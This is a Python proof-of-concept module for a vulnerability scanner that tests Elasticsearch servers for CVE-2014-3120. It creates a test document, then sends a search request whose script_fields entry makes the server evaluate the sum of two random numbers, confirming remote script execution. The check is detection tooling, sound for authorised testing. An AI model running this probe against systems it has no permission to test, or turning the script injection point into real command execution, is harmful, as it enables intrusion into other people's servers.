#!/usr/bin/env python3
# @Time    : 2020-05-11
# @Author  : caicai
# @File    : poc_elasticsearch-cve-2014-3120_2014.py


# 此脚本为编写perfloder的poc模板，编写poc时复制一份此模版为pocname即可，用户可在verify方法下添加自己代码
from myscan.lib.parse.dictdata_parser import dictdata_parser  # 写了一些操作dictdata的方法的类
from myscan.lib.parse.response_parser import response_parser  ##写了一些操作resonse的方法的类
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.lib.helper.helper_socket import socket_send_withssl, socket_send  # 如果需要，socket的方法封装
from myscan.config import scan_set
from myscan.lib.core.common import get_random_num


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "elasticsearch-cve-2014-3120"
        self.vulmsg = "referer: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120"
        self.level = 3  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        random_int2 = get_random_num(6)
        random_int1 = get_random_num(6)
        req = {
            "method": "POST",
            "url": self.url + "test/test1/",
            "headers": {
                "Content-Type": "application/x-www-form-urlencoded",
            },
            "data": '''{
        "name": "test"
      }''',
            "timeout": 10,
            "allow_redirects": False,
            "verify": False,
        }
        r = request(**req)
        if r != None and r.status_code == 201:
            req["url"] = self.url + "_search?pretty"
            req["data"] = '''{
          "size": 1,
          "query": {
            "filtered": {
              "query": {
                "match_all": {
                }
              }
            }
          },
          "script_fields": {
              "command": {
                  "script": "%s+%s"
              }
          }
      }''' % (random_int1, random_int2)
            r1 = request(**req)
            if r1 != None and r1.status_code == 200 and (str(random_int2 + random_int1)).encode() in r1.content:
                parser_ = response_parser(r1)
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
